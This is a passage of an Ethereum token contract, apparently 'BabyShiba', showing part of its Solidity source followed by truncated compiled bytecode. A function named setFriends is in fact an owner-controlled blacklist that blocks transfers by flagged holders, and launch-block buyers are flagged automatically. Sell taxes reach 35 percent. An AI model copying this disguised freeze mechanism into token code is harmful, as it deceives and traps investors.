uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600981526020017f4261627953686962610000000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2042425320000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d8582